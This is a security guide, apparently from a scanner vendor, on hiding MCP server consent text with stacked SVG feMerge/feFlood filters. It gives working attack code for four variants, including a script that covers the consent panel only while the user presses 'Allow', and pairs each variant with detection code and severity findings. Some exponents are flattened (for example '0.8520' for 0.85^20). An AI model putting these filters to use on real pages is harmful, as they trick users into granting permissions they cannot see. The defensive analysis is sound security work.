Security Guide

MCP server SVG feMerge N-node count consent security — geometric opacity accumulation formula, per-node threshold evasion, dynamic node count selection, and mousedown-triggered injection

The SVG feMerge primitive stacks filter primitive outputs in z-order using Porter-Duff “over” compositing. When each feMergeNode adds a semi-transparent white feFlood layer, the accumulated coverage follows a geometric series: coverage = 1 − (1 − α)^N, where α is the per-node opacity and N is the number of cover nodes. With α = 0.15 and N = 20 nodes, coverage = 1 − 0.8520 ≈ 0.961 (96.1%). No individual node exceeds the per-node opacity threshold of 0.3 that most security scanners use. This is a geometric accumulation attack: the detection gap is specifically between per-node inspection and total-accumulated-coverage computation.

Attack 1: N=20 feFlood nodes at α=0.15 — 96.1% coverage via geometric accumulation (SA-CSS-FNC-001)

Each of the 20 feMergeNode elements in the filter references the output of a distinct feFlood flood-color="white" flood-opacity="0.15" primitive. No individual feFlood has opacity above 0.15, which falls well below the per-node threshold of 0.3 used by detection tools that flag only high-opacity single-layer covers. However, the accumulation formula is: after layer 1: coverage = 0.15; after layer 2: coverage = 0.15 + 0.15 × 0.85 = 0.2775; … after layer N: coverage = 1 − 0.85N. At N=20: 1 − 0.8520 = 1 − 0.0388 = 0.9612. The consent text is covered at 96.1% white opacity — effectively invisible. The 20 individual feFlood declarations are spread throughout the filter graph and each individually passes a “flood-opacity < 0.3” check.

The key detection gap: security tools that iterate over each feFlood in a feMerge and check flood-opacity > threshold per node will report zero findings. The tool must instead compute the cumulative coverage across all feMergeNode inputs that resolve to feFlood cover layers, using the geometric accumulation formula.

/* SA-CSS-FNC-001: N=20 feFlood nodes at α=0.15 — geometric accumulation to 96.1%
   coverage = 1 - (1-α)^N = 1 - 0.85^20 ≈ 0.961
   No individual node exceeds per-node threshold of 0.3 */

<svg width="0" height="0" style="position:absolute">
  <defs>
    <filter id="consent-nodecount-cover" x="0%" y="0%" width="100%" height="100%">
      <feFlood flood-color="white" flood-opacity="0.15" result="c01"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c02"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c03"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c04"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c05"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c06"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c07"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c08"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c09"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c10"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c11"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c12"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c13"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c14"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c15"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c16"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c17"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c18"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c19"/>
      <feFlood flood-color="white" flood-opacity="0.15" result="c20"/>

      <!-- SourceGraphic at bottom, 20 cover layers stacked above
           Cumulative coverage: 1 - 0.85^20 = 96.1% -->
      <feMerge>
        <feMergeNode in="SourceGraphic"/>
        <feMergeNode in="c01"/><feMergeNode in="c02"/><feMergeNode in="c03"/>
        <feMergeNode in="c04"/><feMergeNode in="c05"/><feMergeNode in="c06"/>
        <feMergeNode in="c07"/><feMergeNode in="c08"/><feMergeNode in="c09"/>
        <feMergeNode in="c10"/><feMergeNode in="c11"/><feMergeNode in="c12"/>
        <feMergeNode in="c13"/><feMergeNode in="c14"/><feMergeNode in="c15"/>
        <feMergeNode in="c16"/><feMergeNode in="c17"/><feMergeNode in="c18"/>
        <feMergeNode in="c19"/><feMergeNode in="c20"/>
      </feMerge>
    </filter>
  </defs>
</svg>

// --- Geometric accumulation detection ---
function detectFeMergeNodeCount(filterEl) {
  const findings = [];

  for (const fmg of filterEl.querySelectorAll('feMerge')) {
    let accCoverage = 0;   // accumulated coverage across all cover nodes
    let coverNodeCount = 0;

    for (const node of fmg.querySelectorAll('feMergeNode')) {
      const inAttr = node.getAttribute('in') || '';
      if (inAttr === 'SourceGraphic' || inAttr === 'SourceAlpha') continue;

      const src = filterEl.querySelector(`[result="${inAttr}"]`);
      if (!src) continue;

      if (src.tagName.toLowerCase() === 'feflood') {
        const alpha = parseFloat(src.getAttribute('flood-opacity') || '1');
        // Geometric accumulation: new coverage = prev + alpha * (1 - prev)
        accCoverage = accCoverage + alpha * (1 - accCoverage);
        coverNodeCount++;
      }
    }

    if (accCoverage >= 0.9) {
      findings.push({
        severity: 'CRITICAL',
        note: `feMerge accumulated coverage: ${(accCoverage * 100).toFixed(1)}% across ${coverNodeCount} feFlood nodes — consent text covered at 90%+ via geometric accumulation`
      });
    } else if (accCoverage >= 0.6) {
      findings.push({
        severity: 'HIGH',
        note: `feMerge accumulated coverage: ${(accCoverage * 100).toFixed(1)}% across ${coverNodeCount} feFlood nodes — substantial coverage via N-node stacking`
      });
    }
  }

  return findings.length ? findings : null;
}

// detectFeMergeNodeCount(filterEl) →
// [{
//   severity: "CRITICAL",
//   note: "feMerge accumulated coverage: 96.1% across 20 feFlood nodes — consent text covered at 90%+ via geometric accumulation"
// }]

CRITICAL — SA-CSS-FNC-001: 20 feFlood nodes each at flood-opacity="0.15" accumulate 96.1% coverage via geometric formula 1 − (1 − α)^N. Each individual node is below the per-node detection threshold of 0.3. Detection that checks flood-opacity per node and flags those above threshold produces zero findings. The robust detection computes cumulative coverage using the geometric accumulation formula and flags total above 60% as HIGH and above 90% as CRITICAL — regardless of the per-node opacity value.

Attack 2: Dynamic N selection in JavaScript — runtime node count computed to reach target coverage (SA-CSS-FNC-002)

A static-analysis-resistant variant computes the required number of nodes N at runtime from a target coverage percentage. The target is set to 0.95 (95% coverage). Given any per-node opacity α, the required N is: N = ceil(log(1 − target) / log(1 − α)). For α = 0.08 and target = 0.95: N = ceil(log(0.05) / log(0.92)) = ceil(−2.996 / −0.0834) = ceil(35.9) = 36 nodes. The JavaScript injects exactly 36 feMergeNode elements with individually innocuous flood-opacity="0.08". Static analysis of the SVG string sees only low-opacity values; the node count is determined at runtime by a formula that is not present in the SVG markup.

The JS generates a fresh filter element with a unique ID at install time, appends it to the document SVG defs, and sets the consent element’s filter attribute to point to the new filter. Because the filter ID is dynamically generated, static checks of known filter ID strings also fail. The entire attack surface is in the filter generation code, not in the SVG markup.

/* SA-CSS-FNC-002: Dynamic N selection — JS computes node count at runtime
   N = ceil(log(1 - target) / log(1 - alpha))
   For alpha=0.08, target=0.95: N = 36 nodes at flood-opacity=0.08 each */

function injectNNodeCover(consentEl, targetCoverage = 0.95, perNodeAlpha = 0.08) {
  // Compute required N for target coverage with per-node alpha:
  // target = 1 - (1-alpha)^N  ⟹  N = log(1-target) / log(1-alpha)
  const N = Math.ceil(Math.log(1 - targetCoverage) / Math.log(1 - perNodeAlpha));
  // For target=0.95, alpha=0.08: N = ceil(log(0.05)/log(0.92)) = ceil(35.9) = 36

  const filterId = 'f-' + Math.random().toString(36).slice(2, 10); // dynamic ID

  // Build SVG filter with N feFlood nodes
  let svgNS = 'http://www.w3.org/2000/svg';
  let filterEl = document.createElementNS(svgNS, 'filter');
  filterEl.setAttribute('id', filterId);
  filterEl.setAttribute('x', '0%'); filterEl.setAttribute('y', '0%');
  filterEl.setAttribute('width', '100%'); filterEl.setAttribute('height', '100%');

  let feMergeEl = document.createElementNS(svgNS, 'feMerge');
  // Add SourceGraphic as first node (bottom of stack)
  let sgNode = document.createElementNS(svgNS, 'feMergeNode');
  sgNode.setAttribute('in', 'SourceGraphic');
  feMergeEl.appendChild(sgNode);

  for (let i = 0; i < N; i++) {
    let floodResult = `cover-${i}`;
    let flood = document.createElementNS(svgNS, 'feFlood');
    flood.setAttribute('flood-color', 'white');
    flood.setAttribute('flood-opacity', String(perNodeAlpha)); // 0.08 — below any threshold
    flood.setAttribute('result', floodResult);
    filterEl.appendChild(flood);

    let mergeNode = document.createElementNS(svgNS, 'feMergeNode');
    mergeNode.setAttribute('in', floodResult);
    feMergeEl.appendChild(mergeNode);
  }

  filterEl.appendChild(feMergeEl);

  let svgEl = document.querySelector('svg[aria-hidden]') || (() => {
    let s = document.createElementNS(svgNS, 'svg');
    s.setAttribute('width', '0'); s.setAttribute('height', '0');
    s.setAttribute('aria-hidden', 'true');
    s.style.position = 'absolute';
    let defs = document.createElementNS(svgNS, 'defs');
    s.appendChild(defs);
    document.body.insertBefore(s, document.body.firstChild);
    return s;
  })();

  svgEl.querySelector('defs').appendChild(filterEl);
  consentEl.style.filter = `url(#${filterId})`;

  // Actual coverage at N=36, alpha=0.08: 1 - 0.92^36 ≈ 0.9499 (94.99%)
  return N; // 36
}

// Detection challenge: no static SVG to inspect — filter generated at runtime
// Detection must use:
// 1. MutationObserver on consent element filter attribute changes
// 2. Re-evaluate filter graph on every consent-panel render via getComputedStyle
// 3. Count feMergeNode children with feFlood sources and compute accumulation

function auditConsentFilterDynamic(consentEl) {
  const filterVal = getComputedStyle(consentEl).filter || '';
  const urlMatch = filterVal.match(/url\(["']?(#[\w-]+)["']?\)/);
  if (!urlMatch) return null;

  // Query ENTIRE document for the filter (it may be in a dynamically-created SVG)
  const filterEl = document.querySelector(urlMatch[1]);
  if (!filterEl) return [{ severity: 'HIGH', note: 'Filter not found in document — possible dynamic injection' }];

  return detectFeMergeNodeCount(filterEl); // see SA-CSS-FNC-001 detection
}

HIGH — SA-CSS-FNC-002: Dynamic N selection via JavaScript produces a filter with individually innocuous per-node opacity values (α=0.08) but a computed node count (N=36) that achieves 95% coverage. Static analysis of SVG markup sees only 0.08 flood-opacity values and produces zero findings. Robust detection requires: (1) using MutationObserver to catch runtime filter injection on consent elements; (2) re-running the geometric accumulation audit on every render; and (3) checking the entire document for the referenced filter ID, including dynamically-appended SVG elements.

Attack 3: Interleaved SourceGraphic and feFlood nodes — apparent re-composite creates false pass signal (SA-CSS-FNC-003)

A detection rule that checks “is SourceGraphic present as a feMergeNode?” as a pass signal is defeated by interleaving: the attacker places SourceGraphic nodes at positions 1, 3, and 5, with feFlood cover nodes at positions 2, 4, and 6. The sequence in feMerge compositing order is: (1) SourceGraphic at bottom; (2) feFlood(white, 0.5) over it — 50% coverage; (3) SourceGraphic composited over the partially-white result — this re-adds the consent text on top, reducing coverage back toward 0%; (4) feFlood(white, 0.5) over the re-added text — 50% coverage again; (5) SourceGraphic composited again; (6) feFlood(white, 0.8) as final top node — 80% coverage of the re-composited source.

The final accumulated state depends on the ordering. Because SourceGraphic at each re-composite step resets the prior cover partially, the final result is not simply the geometric accumulation of all feFlood nodes. However, the final feFlood node (opacity=0.8) dominates: the output is approximately 80% white regardless of the intermediate re-compositing. The detection rule “SourceGraphic present implies filter is safe” fails because SourceGraphic re-compositing does not guarantee the final node on top is SourceGraphic.

/* SA-CSS-FNC-003: Interleaved SourceGraphic + feFlood nodes
   Sequence: [SourceGraphic, feFlood(0.5), SourceGraphic, feFlood(0.5), SourceGraphic, feFlood(0.8)]
   Final output dominated by last feFlood(0.8) node — consent text ~80% covered */

<svg width="0" height="0" style="position:absolute">
  <defs>
    <filter id="consent-interleaved" x="0%" y="0%" width="100%" height="100%">
      <feFlood flood-color="white" flood-opacity="0.5" result="mid-cover-1"/>
      <feFlood flood-color="white" flood-opacity="0.5" result="mid-cover-2"/>
      <feFlood flood-color="white" flood-opacity="0.8" result="final-cover"/>

      <feMerge>
        <feMergeNode in="SourceGraphic"/>       <!-- layer 0: consent text -->
        <feMergeNode in="mid-cover-1"/>          <!-- layer 1: 50% white cover -->
        <feMergeNode in="SourceGraphic"/>        <!-- layer 2: re-composite consent text -->
        <feMergeNode in="mid-cover-2"/>          <!-- layer 3: 50% white cover again -->
        <feMergeNode in="SourceGraphic"/>        <!-- layer 4: re-composite consent text -->
        <feMergeNode in="final-cover"/>          <!-- layer 5: 80% white cover (final, on top) -->
      </feMerge>
    </filter>
  </defs>
</svg>

// feMerge compositing trace (Porter-Duff "over", bottom to top):
// After layer 0 (SourceGraphic): output = consent text (contrast C=21.0:1 baseline)
// After layer 1 (feFlood 0.5):   output = 0.5*white + 0.5*consent (50% washed, C≈10.5)
// After layer 2 (SourceGraphic): output = 1.0*consent + 0*(50%-washed) = consent restored (C≈21.0)
// After layer 3 (feFlood 0.5):   output = 0.5*white + 0.5*consent (50% washed again, C≈10.5)
// After layer 4 (SourceGraphic): output ≈ consent restored again (C≈21.0)
// After layer 5 (feFlood 0.8):   output = 0.8*white + 0.2*consent (80% washed, C≈4.2 → below WCAG)

// False-pass detection rule: "SourceGraphic present as some feMergeNode → safe"
// This fires on layers 0, 2, 4 — but misses that the LAST node (5) is feFlood(0.8)

// Correct detection: ALWAYS check the last non-SourceGraphic feMergeNode
function detectInterleavedAttack(filterEl) {
  const findings = [];
  for (const fmg of filterEl.querySelectorAll('feMerge')) {
    const nodes = Array.from(fmg.querySelectorAll('feMergeNode'));
    if (!nodes.length) continue;

    // Check the very last node regardless of intermediate SourceGraphic nodes:
    const lastNode = nodes[nodes.length - 1];
    const lastIn   = lastNode.getAttribute('in') || '';
    if (lastIn === 'SourceGraphic' || lastIn === 'SourceAlpha') continue; // safe

    // Last node is NOT SourceGraphic — trace source
    const lastSrc = filterEl.querySelector(`[result="${lastIn}"]`);
    if (lastSrc && lastSrc.tagName.toLowerCase() === 'feflood') {
      const opacity = parseFloat(lastSrc.getAttribute('flood-opacity') || '1');
      if (opacity >= 0.8) {
        findings.push({ severity: 'CRITICAL', note: `Interleaved feMerge: last node feFlood(opacity=${opacity}) dominates — consent covered despite intermediate SourceGraphic re-composites` });
      } else if (opacity >= 0.4) {
        findings.push({ severity: 'HIGH', note: `Interleaved feMerge: last node feFlood(opacity=${opacity}) — partial cover despite intermediate SourceGraphic nodes` });
      }
    }
  }
  return findings;
}

HIGH — SA-CSS-FNC-003: Interleaved SourceGraphic and feFlood nodes in a feMerge chain defeat detection rules that check “SourceGraphic present as a feMergeNode” as a safety indicator. The critical invariant is that the last feMergeNode determines the dominant top layer; if the last node is feFlood(opacity=0.8), the consent text is covered at 80% regardless of how many SourceGraphic nodes precede it. Detection must always check the final non-SourceGraphic node, not merely the presence of any SourceGraphic node in the chain.

Attack 4: Mousedown-triggered injection of N-node feMerge chain — static analysis window evasion (SA-CSS-FNC-004)

The N-node feMerge chain is not present in the SVG at page load. At mousedown on the consent panel’s “Allow” button, JavaScript injects the full N-node filter (20 nodes, α=0.15, 96.1% coverage) as a new <filter> element in the SVG <defs> and immediately sets the consent element’s CSS filter property to reference it. At mouseup, the filter reference and the injected <filter> element are both removed. The attack window is the duration of the mousepress — typically 50–200ms. During this window the consent text is rendered at 96.1% white opacity: the user’s eye perceives a white flash on the consent panel during the click. The click registers on the “Allow” button (which remains clickable) while the consent text is covered. Static analysis of the DOM at any point outside the mousedown window finds no filter.

/* SA-CSS-FNC-004: Mousedown-triggered N-node feMerge injection
   Filter is injected at mousedown and removed at mouseup
   Static analysis at any other time finds no filter on consent element */

(function() {
  const ALPHA = 0.15;
  const N     = 20; // 1 - 0.85^20 = 96.1% coverage

  function buildNNodeFilter(id, n, alpha) {
    const SVG_NS = 'http://www.w3.org/2000/svg';
    const filter = document.createElementNS(SVG_NS, 'filter');
    filter.setAttribute('id', id);
    filter.setAttribute('x', '0%'); filter.setAttribute('y', '0%');
    filter.setAttribute('width', '100%'); filter.setAttribute('height', '100%');

    const feMerge = document.createElementNS(SVG_NS, 'feMerge');
    const sgNode  = document.createElementNS(SVG_NS, 'feMergeNode');
    sgNode.setAttribute('in', 'SourceGraphic');
    feMerge.appendChild(sgNode);

    for (let i = 0; i < n; i++) {
      const flood = document.createElementNS(SVG_NS, 'feFlood');
      flood.setAttribute('flood-color', 'white');
      flood.setAttribute('flood-opacity', String(alpha));
      flood.setAttribute('result', `c${i}`);
      filter.appendChild(flood);

      const mn = document.createElementNS(SVG_NS, 'feMergeNode');
      mn.setAttribute('in', `c${i}`);
      feMerge.appendChild(mn);
    }

    filter.appendChild(feMerge);
    return filter;
  }

  function getSvgDefs() {
    let svg = document.getElementById('_hidden-filter-host');
    if (!svg) {
      const SVG_NS = 'http://www.w3.org/2000/svg';
      svg = document.createElementNS(SVG_NS, 'svg');
      svg.id = '_hidden-filter-host';
      svg.setAttribute('width', '0'); svg.setAttribute('height', '0');
      svg.style.cssText = 'position:absolute;overflow:hidden;width:0;height:0';
      const defs = document.createElementNS(SVG_NS, 'defs');
      svg.appendChild(defs);
      document.body.insertBefore(svg, document.body.firstChild);
    }
    return svg.querySelector('defs');
  }

  const btn = document.getElementById('allow-btn');
  if (!btn) return;

  let activeFilterId = null;

  btn.addEventListener('mousedown', () => {
    activeFilterId = '_nc_' + Date.now();
    const filter   = buildNNodeFilter(activeFilterId, N, ALPHA);
    const consentPanel = btn.closest('[data-consent]') || btn.parentElement;

    getSvgDefs().appendChild(filter);
    consentPanel.style.filter = `url(#${activeFilterId})`;
  }, { capture: true });

  btn.addEventListener('mouseup', () => {
    if (!activeFilterId) return;
    const consentPanel = btn.closest('[data-consent]') || btn.parentElement;
    consentPanel.style.filter = '';

    const filterEl = document.getElementById(activeFilterId);
    if (filterEl) filterEl.remove();
    activeFilterId = null;
  }, { capture: true });
})();

// Detection: MutationObserver watching consent panel style attribute changes
function installConsentFilterWatcher(consentEl) {
  const observer = new MutationObserver((mutations) => {
    for (const m of mutations) {
      if (m.type === 'attributes' && (m.attributeName === 'style' || m.attributeName === 'filter')) {
        const filterVal = getComputedStyle(consentEl).filter || '';
        if (/url\(/.test(filterVal)) {
          // Filter was just added — audit immediately before mouseup removes it
          const urlMatch = filterVal.match(/url\(["']?(#[\w-]+)["']?\)/);
          if (urlMatch) {
            const filterDef = document.querySelector(urlMatch[1]);
            if (filterDef) {
              const findings = detectFeMergeNodeCount(filterDef);
              if (findings?.length) {
                consentEl.style.filter = ''; // block the attack
                filterDef.remove();
                console.error('[SkillAudit] feMerge N-node cover injected at mousedown:', findings);
              }
            }
          }
        }
      }
    }
  });

  observer.observe(consentEl, { attributes: true, attributeFilter: ['style', 'filter'] });
  return observer;
}

HIGH — SA-CSS-FNC-004: Mousedown-triggered injection of a 20-node feMerge chain achieves 96.1% coverage during the click press window (50–200ms), causing the user to approve consent while seeing only a white flash. Static analysis at any time outside the mousedown event finds no filter. Defense requires a MutationObserver watching the consent element’s style and filter attributes; on any filter URL addition, the observer must synchronously audit the filter graph and remove it if the N-node accumulation exceeds the CRITICAL threshold — all within the same microtask queue as the mousedown event.

Summary table

AttackMechanismWhat it hidesSeverity
SA-CSS-FNC-001: N=20 nodes at α=0.15 Geometric accumulation formula: coverage=1-(1-α)^N; N=20, α=0.15 → 96.1%; each node flood-opacity=0.15 below per-node threshold of 0.3; per-node scan produces zero findings; must accumulate across all feMergeNode inputs using geometric formula All consent text, permission scopes, button labels; 96.1% white coverage; contrast below WCAG AA minimum; textContent intact; BCR intact; DOM-present; only geometric-accumulation audit detects Critical
SA-CSS-FNC-002: Dynamic N selection (JS) N = ceil(log(1-target)/log(1-alpha)) computed at runtime; N=36 for target=95%, alpha=0.08; filter injected with dynamic ID; static SVG shows only 0.08 flood-opacity values; node count determined at runtime; MutationObserver + runtime re-audit required All consent text (~95% coverage); static SVG analysis shows no suspicious individual values; dynamic ID defeats fixed-ID allowlists; runtime injection defeats page-load static scan High
SA-CSS-FNC-003: Interleaved SourceGraphic + feFlood SourceGraphic at positions 0, 2, 4; feFlood at positions 1, 3, 5; last node feFlood(0.8) dominates output (80% cover); detection rule “SourceGraphic present → safe” fires on nodes 0/2/4 but misses final feFlood; must check the last non-SourceGraphic node specifically Consent text at ~80% white coverage; detection rule based on SourceGraphic presence gives false pass; last-node-dominance principle: the final feMergeNode renders on top regardless of prior SourceGraphic re-composites High
SA-CSS-FNC-004: Mousedown-triggered injection N-node filter injected at mousedown, removed at mouseup; 50–200ms cover window during click; static DOM at any other time shows no filter; MutationObserver watching consent element style attribute detects injection; must audit synchronously in same microtask Consent text during click press (user approves while seeing white flash); click registers on Allow button during cover window; static scan at load time finds nothing; dynamic injection attack surface only High

Defences

SkillAudit findings for this attack surface

CRITICAL SA-CSS-FNC-001: feMerge N=20 feFlood nodes at α=0.15 on consent element — geometric accumulation: 1−0.85^20=96.1% coverage; each node flood-opacity=0.15 below per-node threshold; per-node scan produces zero findings; detection requires geometric accumulation formula across all feMergeNode feFlood inputs.
HIGH SA-CSS-FNC-002: Dynamic N selection via JavaScript on consent element — N computed at runtime for target coverage; filter injected with dynamic ID; static analysis sees only individually innocuous opacity values; MutationObserver + runtime re-audit with geometric formula required.
HIGH SA-CSS-FNC-003: Interleaved SourceGraphic + feFlood nodes on consent element — last node feFlood(0.8) dominates; “SourceGraphic present” detection rule gives false pass; last-non-SourceGraphic-node check required regardless of intermediate re-composites.
HIGH SA-CSS-FNC-004: Mousedown-triggered N-node feMerge injection on consent element — 96.1% cover during 50–200ms click press window; static scan finds nothing; MutationObserver watching consent element style/filter attribute detects injection synchronously.

Related: feMerge z-order stacking consent attacks  |  feFlood consent attacks  |  feImage cross-origin consent attacks

← Blog  |  Security Checklist